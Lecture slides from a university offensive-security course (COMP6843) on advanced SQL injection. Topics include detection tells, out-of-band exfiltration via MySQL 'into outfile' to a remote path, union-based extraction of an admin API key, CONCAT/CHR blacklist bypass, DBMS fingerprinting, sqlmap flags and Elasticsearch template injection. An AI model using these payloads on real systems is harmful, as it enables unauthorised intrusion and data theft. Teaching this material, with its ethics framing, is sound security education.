COMP6843 - Topic 3

More of SQL Injection

A NOTE ON ETHICS / LEGALITY

- UNSW hosting this course is an extremely important step forward.
- We expect a high standard of professionalism from you, meaning:
  - Respect the property of others and the university
  - Always abide by the law and university regulations
  - Be considerate of others to ensure everyone has an equal learning experience
  - Always check that you have written permission before performing a security test on a system

Always err on the side of caution. If you are unsure about anything ask one of the course staff!

What are we going to learn today

More tells about SQLi
POC vs Extraction
Differen*tish* Techniques

Revisiting how we to do SQLi

Before you start Do Not DOS

Select * from users;
- Select * from accounts;
- Select * from any table.
- Sqlmap –threads=10 –dump-all

You may have just requested anywhere between 10kb to 10GB of data in a single query

Better alternatives?

- Select count(*) from X;
- 1=1
- Select * from X limit 1 offset 1;
- Don’t SQLMap the box and get IP banned/rate limited
- Don’t take the box offline.
- You get sad. You client gets sad

SQLI “TELLS”: Identifying *What we already know*

SQLI “TELLS”: ERROR MESSAGES

SQLI “TELLS”: Boolean based

SQLI “TELLS”: COMMENTS

SQLI “TELLS”: Time based

SQLI “TELLS”: Identifying *wildcards*

```
SELECT * FROM users LIKE “admi%”;
```

- Where is it used?
- Search
- Fuzzy Matching
- OWASP Suggestion – use a longer/more complex query to lag the server

```
SELECT TOP 10 * FROM Article WHERE Content LIKE
'%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])
%a][$*"£$-9]_%’
```

- How to do wildcard injection
- Standard Escaping with quotes
- Dumping more data than intended

SQLI “TELLS”: Identifying *OOB*

- Out of band injection - when an attacker is unable to use the same channel to launch the attack and gather results
- Why?
  - Because you might only have blind injection.
  - They might have an outbound WAF.
- How?
  - Rely on a *dbms* ability to make *DNS/HTTP* requests to deliver data to an attacker.

SQLI “TELLS”: Identifying *OOB*

- MYSQL Case Study
  - select @@secure_file_priv; to return “”
    - NULL -> Disables Import
    - “/directory” -> restricted import from the directory
    - Default NULL on MySQL 5.5.53; Default “” on MySQL <5.5.53
    - Cannot be changed at runtime. Must be set at startup.
- Query Format: “Select * into outfile ‘//192.168.1.1/url.txt’;”

- Exercises/self-research
  - How would you exfil queries using this method.
  - What are the other OOB methods for other DBMS
    - MSSQL? Oracle SQL? PostgresSQL
  - What are the requirements to get OOB injection on these platforms.

How to get your query to actually work?

Subquerying
Union by copypaste
SQL Functions

Subquerying

- Make a query inside the brackets.
- Select * from users where isAdmin = (select isAdmin from permissions);
- Select user,password from users where username=‘injectionpoint’ union select (select permissions from users limit 1), “asdf”;

Union by copypaste

- How to exfil data?
- Copy paste the entire query.
- Make it a union
- Change out a field for a subque

```
select user.username, user.password, user.dob, user.addres,
user.dogsname, user.sex, user.gender, coolfacts.mothersmaidenname,
coolfacts.btcaddress, coolfacts.poorlifechoices,
coolfacts.cripplingdepression from users where
coolfacts.cripplingdepression = TRUE and coolfacts.poorlifechoices =
5 and users.sex != users.gender and user.sex = 5 and
coolfacts.mothersmaidenname="$INJECTION" and
coolfacts.username=user.username JOIN coolfacts limit 5 offset1;
```

```
select user.username, user.password, user.dob, user.addres, user.dogsname,
uesr.sex, user.gender, coolfacts.mothersmaidenname, coolfacts.btcaddress,
coolfacts.poorlifechoices, coolfacts.cripplingdepression from users where
coolfacts.cripplingdepression = TRUE and coolfacts.poorlifechoices = 5 and
users.sex != users.gender and user.sex = 5 and
coolfacts.mothersmaidenname="lol" and coolfacts.username=user.username
JOIN coolfacts limit 5 offset 1 UNION ALL select user.username, user.password,
user.dob, (select supersecretapikey from user where username="admin"),
user.addres, user.dogsname, uesr.sex, user.gender,
coolfacts.mothersmaidenname, coolfacts.btcaddress, coolfacts.poorlifechoices,
coolfacts.cripplingdepression from users where coolfacts.cripplingdepression =
TRUE and coolfacts.poorlifechoices = 5 and users.sex != users.gender and
user.sex = 5 and coolfacts.mothersmaidenname="nah" and
coolfacts.username=user.username JOIN coolfacts limit 5 offset 1;
```

SQL Functions

- CHR() CAST() CONCAT() XPCMDSHELL()
- How can these be leveraged
  - Bypass WAF/Filters
  - Extract more content
  - Bypass typing constraints
- MySQL
  - Select user, password from users where username="$INJECTION"
  - "admin" is blacklisted -> CONCAT(chr(0x61),chr(0x64),chr(0x72)…)
- Exfil Information
  - Select CONCAT(username, "|",password) from users…
- Bypass typing constraints
  - Select password from users where name="asdf" union select CAST(id as VARCHAR) from users where name="asdf"
  - If you're only able to select strings

Fingerprinting

- Now you have a working injection, what DBMS are you hitting?
  - MariaDB vs MySQL
  - MySQL vs Postgres vs MS SQL Server
  - Sqlite?
  - Oracle SQL)
  - Fake DBMS? (YQL)
  - NoSQL?

- How do you fingerprint the DBMS
  - @@Version vs Version() vs sqlite_version()

Scripting and Tooling

- Implement a web app with simple injection
  - Extract all the data without using sqlmap
  - Where is this necessary?
  - Where does sqlmap not work?
- Things that can be scripted
  - Extraction
  - Union Injection
  - Fingerprinting DBMS
  - Limit Scripts
- Iteration Scripts

- They’re tools not solutions
- Using sqlmap efficiently
  - Use the flags
  - --union-cols
  - --technique
  - --threads

- If you’re not 100% sure, use –v 9 to

  find out the queries that are

  working
  - Replicate and use them to make your own extraction scripts.

Elasticsearch - Query Injection

- Elasticsearch provides QueryDSL (Domain Specific Language)
- Elastic data for index “attack”

index/attack

```
{
  "field1": 2,
  "field2": 1
},
{
  “field1”: 2,
  “field2”: 2
}
```

Document 1

Document 2

Elasticsearch - Build search query

```
POST _scripts/attack
{
  "script": {
    "lang": "mustache",
    "source": """
{
  "query": {
    "bool": {
      "filter": [
        {
          "term": {
            "field1": {{{field}}}
          }
        },
        {
          "range": {
            "field2": {
              "gte": 2
          ……...
```

Template Injection

Elasticsearch - Inject into template

```
POST attack/_search/template

{ "id": "attack", "params": { "field":
"2}}],\"should\":[{\"range\":{\"field2\":{\"lte\":2}" } }
```

Elasticsearch - Final look

```
{
    "query" : {
      "bool" : {
        "filter" : [
          {
            "term" : {
              "field1" : 2
            }
          }
        ],
        "should" : [
          {
            "range" : {
              "field2" : {
                "lte" : 2
              }
            }
          },
          {
            "range" : {
              "field2" : {
                "gte" : 2
              }
            }
          }
        ]
      }
    }
  }
```

Docs <= 2 or >= 2 - Get all docs!

WEEK 4 ASSESSMENT

- Thank you for agreeing to help QuoccaBank do some preliminary security assessments. The security team at QB has asked you to do some initial assessments of the following parts of their website.
- support.quoccabank.com
- pay-portal.quoccabank.com
- bigapp.quoccabank.com
- gcc.quoccabank.com
- bfd.quoccabank.com
- *.feedifier.quoccabank.com
- letters.quoccabank.com
- *insert snarky cyber comment here*

Please call out if you get stuck.
Support one another, your tutors are here to help!

THANKS FOR LISTENING TO US RANT!

questions? slack / email

Thanks to @sy for all the contributions